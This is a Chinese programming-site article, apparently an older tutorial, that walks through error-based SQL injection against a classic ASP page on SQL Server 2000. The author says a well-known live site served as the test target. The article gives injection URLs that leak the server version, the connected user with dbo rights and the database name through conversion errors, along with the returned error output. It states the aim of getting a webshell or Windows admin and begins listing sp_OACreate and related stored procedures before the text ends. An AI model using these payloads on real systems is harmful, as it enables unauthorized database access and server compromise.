程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> 搾干MSSQLServer最後一滴血

搾干MSSQLServer最後一滴血

編輯:關於SqlServer
 風雲變換的網絡,網絡安全讓人們不能不關注它。數據庫,讓我們不得不想起強大的Oracle,MS SQL。微軟的漏洞最多,今天就用SQL INJECTION來讓MS SQL為我們好好的工作。
  
  以下(使用一知名網站作為測試點),相信大家對SQL爆庫,爆表,爆字段都已掌握,在這裡就不多說這方面了。
  
  MS SQL內置函數介紹:
  @@VERSION 獲得Windows的版本號,MS SQL的版本號,補丁。 User_name() 得到當前系統的連接用戶 Db_name() 得到當前連接的數據庫 HOST_NAME() 得到當前主機的名稱
  
  這些信息有助我們對系統進行簡單的了解
  
  好,下面我們就開始吧!
  
  語句:
  
  http://www.xxx.com/list.ASP?classid=1'
  
  返回信息:
  
  Microsoft OLE DB Provider for SQL Server 錯誤 '80040e14' 字符串 ' Order By Id DESC' 之前有未閉合的引號。 /list.ASP,行290
  
  從這裡未閉合的引號(“’”),我們可以確定存在SQL INJECTION。發現在漏洞當然接著走了,利用以上介紹的函數為我們工作了:
  
  語句:
  
  http://www.xxx.com/list.ASP?classid=1 and 0<>(select @@version)
  
  返回:
  
  Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07' 將 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 轉換為數據類型為 int 的列時發生語法錯誤。 /list.ASP,行290
  
  相關的信息出來了,MS SERVER ADVANCED SERVER 2000+SP4, SQL 2000+SP3,從MS SQL Server 後面的8.00.760可看出是SP3補丁。看了服務器的信息,接下應該了解數據庫的權限了:
  
  語句:
  
  http://www.xxx.com/list.ASP?classid=1 and user_name()=’dbo’
  
  返回: 正常返回的信息
  
  確定是權限是DBO,從表面DBO權限的連接用戶經常是涉及SYSADMIN服務器角色成員。說明數據庫服務器角色成員組默認是在每個數據庫增加一個DBO用戶。
  
  返回原理根1=1,1=2相似..這裡只是權限測試,我們也把它爆出來看看:
  
  語句:
  
  http://www.xxx.com/list.ASP?classid=1 and 0<>(select user_name())
  
  返回:
  
  Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07' 將 nvarchar 值 'dbo' 轉換為數據類型為 int 的列時發生語法錯誤。 /list.ASP,行290
  
  說明連接數據庫的用戶權限很高,可以確定是服務器角色組中的成員。
  
  語句:http://www.xxx.com/list.asp?classid=1 and 0<>(select db_name())―返回:Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07' 將 nvarchar 值 'GameIMGSys' 轉換為數據類型為 int 的列時發生語法錯誤。 /list.ASP,行290
  
  這樣就可以爆出當前的數據庫。得到這麼高權限的數據庫連接成員,我們當然想直接得到WEBSHELL,或是直接拿到NT ADMIN。NT ADMIN取決於當前服務器的配置,如果配置不合理的服務器,我們要直接拿NT ADMIN,拿NT ADMIN就要用到:
  
  MSSQL內置存儲過程:
  
  sp_OACreate (通過它,危害很得更大,但是需要有SYSADMINS權限才可能使用) sp_OAGetErrorInfo sp_OAGetProperty sp_OAM
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved